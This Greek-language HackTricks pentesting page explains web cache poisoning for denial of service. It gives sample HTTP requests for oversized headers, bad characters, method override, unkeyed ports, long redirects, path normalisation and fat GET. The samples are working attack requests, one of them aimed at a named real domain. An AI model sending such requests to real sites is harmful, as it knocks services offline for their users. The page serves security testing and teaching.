hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

9.5 KiB
Raw Blame History

Δηλητηρίαση Προσωρινής Μνήμης για DoS

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

{% hint style="danger" %} Σε αυτήν τη σελίδα μπορείτε να βρείτε διαφορετικές παραλλαγές για να προσπαθήσετε να κάνετε τον διακομιστή web να ανταποκριθεί με σφάλματα σε αιτήσεις που είναι έγκυρες για τους διακομιστές προσωρινής μνήμης {% endhint %}

  • Υπέρβαση Μεγέθους Κεφαλίδας HTTP (HHO)

Στείλτε μια αίτηση με μέγεθος κεφαλίδας μεγαλύτερο από αυτό που υποστηρίζεται από τον διακομιστή web αλλά μικρότερο από αυτό που υποστηρίζεται από τον διακομιστή προσωρινής μνήμης. Ο διακομιστής web θα ανταποκριθεί με μια απάντηση 400 η οποία ενδέχεται να αποθηκευτεί στη μνήμη cache:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Αναπάντεχες τιμές

Στείλτε ένα κεφαλίδα που περιέχει ορισμένους επιβλαβείς μετα-χαρακτήρες όπως \n και \r. Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε τη μνήμη cache.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Ένας κακά διαμορφωμένος κεφαλίδα θα μπορούσε απλά να είναι \: ως κεφαλίδα.

Αυτό θα μπορούσε επίσης να λειτουργήσει εάν σταλούν απροσδόκητες τιμές, όπως ένα μη αναμενόμενο Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Μη-κλειδωμένη κεφαλίδα

Κάποιες ιστοσελίδες θα επιστρέψουν έναν κωδικό κατάστασης σφάλματος εάν δουν κάποιες συγκεκριμένες κεφαλίδες στο αίτημα όπως με την κεφαλίδα X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • Επίθεση HTTP Method Override (HMO)

Εάν ο διακομιστής υποστηρίζει την αλλαγή της μεθόδου HTTP με headers όπως X-HTTP-Method-Override, X-HTTP-Method ή X-Method-Override. Είναι δυνατόν να ζητηθεί μια έγκυρη σελίδα αλλάζοντας τη μέθοδο, έτσι ώστε ο διακομιστής να μην την υποστηρίζει και να αποθηκεύεται μια κακή απόκριση:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Μη κλειδωμένη θύρα

Εάν η θύρα στην κεφαλίδα οικοδεσπότη αντανακλάται στην απόκριση και δεν περιλαμβάνεται στο κλειδί της μνήμης cache, είναι δυνατόν να την ανακατευθύνετε σε μια μη χρησιμοποιούμενη θύρα:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Μακροσκελής Αποκλεισμός Ανακατεύθυνσης

Όπως στο παρακάτω παράδειγμα, το x δεν κρατιέται στη μνήμη cache, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά απάντησης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει ένα τόσο μεγάλο URL που θα επιστρέψει ένα σφάλμα. Έτσι, οι άνθρωποι που προσπαθούν να έχουν πρόσβαση στο URL χωρίς το μη-κρυφό κλειδί x θα λάβουν την απάντηση σφάλματος:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Κανονικοποίηση περίπτωσης κεφαλίδας κεντρικού υπολογιστή

Η κεφαλίδα κεντρικού υπολογιστή πρέπει να είναι μη διάκρισης πεζών-κεφαλαίων, αλλά μερικές ιστοσελίδες αναμένουν να είναι πεζά, επιστρέφοντας σφάλμα αν δεν είναι:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Κανονικοποίηση διαδρομής

Κάποιες σελίδες θα επιστρέψουν κωδικούς σφάλματος αποστέλλοντας δεδομένα URLencode στη διαδρομή, ωστόσο, ο διακομιστής cache θα αποκωδικοποιήσει τη διαδρομή και θα αποθηκεύσει την απόκριση για την αποκωδικοποιημένη διαδρομή:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Μερικοί διακομιστές cache, όπως ο Cloudflare, ή οι διακομιστές ιστού, σταματούν τις αιτήσεις GET με σώμα, οπότε αυτό μπορεί να καταχραστεί για να κρυφτεί μια μη έγκυρη απόκριση:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: